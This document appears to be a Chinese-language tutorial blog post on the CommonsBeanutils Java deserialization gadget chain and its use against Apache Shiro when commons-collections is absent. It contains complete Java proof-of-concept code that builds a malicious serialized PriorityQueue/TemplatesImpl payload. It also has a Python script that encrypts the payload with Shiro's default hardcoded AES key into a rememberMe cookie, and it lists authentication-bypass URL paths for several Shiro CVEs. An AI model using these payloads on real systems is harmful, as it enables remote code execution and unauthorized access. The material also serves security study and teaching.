前言 这篇将介绍一下 CommonsBeanutils 链,以及没有 commons-collections 的Shiro反序列化利用
Apache Commons Beanutils Apache Commons Beanutils 提供了对Java普通类对象(也成为 JavaBean) 的一些操作方法。
至于JavaBean
有一个public的无参数构造函数。
属性可以透过get、set、is(可替代get,用在 布尔型 属性上)方法或遵循特定命名规则的其他方法访问。
可序列化
也就是说属性都可通过 访问器(读) 和 更改器(写) 来进行操作,也就是 getter 和 setter
public class Person { private String name; private int age; public String getName() { return this.name; } public void setName(String name) { this.name = name; } public int getAge() { return this.age; } //读 public void setAge(int age) { this.age = age; } //更改 }
commons-beanutils 提供了一个静态方法,PropertyUtils.getProperty ,可以调用任意 JavaBean 的getter方法。
PropertyUtils.getProperty(new Person(),"name");
就可以调用 Person 对象的 name属性的 getter方法。他还支持递归,获取属性,比如 PropertyUtils.getProperty(obj,"b.a")
就可以获取 b属性(对象)下的a属性。不是真正调用具体的getter方法,可以说是一种抽象的方法,比如
PropertyUtils.getProperty(new Person(),"abc")
并不是说真的去调用 Person 类的 abc 属性的 getter,而是调用getAbc(),不管这个类有没有abc属性。
流程分析 也就是说当调用 PropertyUtils.getProperty(o1, property) 时 如果控制了o1 ,会自动调用 getter 方法,需要寻找一处符合getter格式 的利用点,起到承上启下的作用,在 TemplatesImpl 中的 getOutputProperties() 符合条件,调用 newTransformer() 最后利用点最后调用到defineClass实现动态类加载。
向上需要寻找调用 getProperty() 的地方,commons-beanutils 里有一个 BeanComparator 类的 compare 方法,以这里为起点,串起了整条链子
那么最开始是从哪个readObject才能调用compare方法 ?在CC2中知道 PriorityQueue 重写了readObject方法,执行了java.util.Comparator 接口的 compare() 方法,至此链子完整
构造poc package CB;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;public class CB { public static void main (String[] args) throws Exception { byte [] code = ClassPool.getDefault().get("bytecode.Calc" ).toBytecode(); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_name" ,"a" ); setFieldValue(obj,"_bytecodes" ,new byte [][]{code}); Comparator comparator = new BeanComparator("outputProperties" ); PriorityQueue priorityQueue = new PriorityQueue(2 ); priorityQueue.add(1 ); priorityQueue.add(1 ); Object[] objects = new Object[]{obj,1 }; setFieldValue(priorityQueue, "queue" , objects); setFieldValue(priorityQueue, "comparator" , comparator); serialize(priorityQueue); } public static void serialize (Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin" ); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; } public static void setFieldValue (Object obj,String fieldname,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(obj,value); } }
在序列化的时候报错,在 BeanComparator
跟进,没有找到 ComparableComparator ,这个类来自于 commons.collections ,但是已经进行了删除
所以需要找一个可以替换的,需要满足
实现java.util.Comparator 接口 实现java.io.Serializable 接口 Java、shiro或commons-beanutils自带,且兼容性强
通过IDEA的快捷键Ctrl+Alt+B搜索接口的实现类。找到了CaseInsensitiveComparator 。
可以通过 CASE_INSENSITIVE_ORDER 拿到 CaseInsensitiveComparator 类
这个CaseInsensitiveComparator 类是java.lang.String 类下的一个内部私有类,其实现了Comparator 和Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator 对象,用它来实例化 BeanComparator。
然后用 BeanComparator 第三种构造方法
最终poc package CB;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;import static java.lang.String.CASE_INSENSITIVE_ORDER;public class CB { public static void setFieldValue (Object obj,String fieldname,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(obj,value); } public static void main (String[] args) throws Exception { byte [] code = ClassPool.getDefault().get("bytecode.Calc" ).toBytecode(); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_name" ,"a" ); setFieldValue(obj,"_bytecodes" ,new byte [][]{code}); Comparator comparator = new BeanComparator(null ,CASE_INSENSITIVE_ORDER); PriorityQueue priorityQueue = new PriorityQueue(2 ); priorityQueue.add(1 ); priorityQueue.add(1 ); Object[] objects = new Object[]{obj,1 }; setFieldValue(comparator,"property" ,"outputProperties" ); setFieldValue(priorityQueue, "queue" , objects); setFieldValue(priorityQueue, "comparator" , comparator); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin" ); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; } }
shiro中的利用 在shiro中如果没有CC依赖,可以利用CB链,因为shiro 是依赖于 commons-beanutils 的,去掉pom.xml中的CC依赖,python生成payload
import base64 from Crypto.Cipher import AES with open(r"ser.bin","rb") as f: byte_POC = f.read() BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = b' ' * 16 encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(byte_POC) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) print("rememberMe={}".format(base64_ciphertext.decode()))
shiro 权限绕过 CVE-2020-1957
CVE-2020-11989 /;/admin /admin/a%25%32%66a
CVE-2020-13933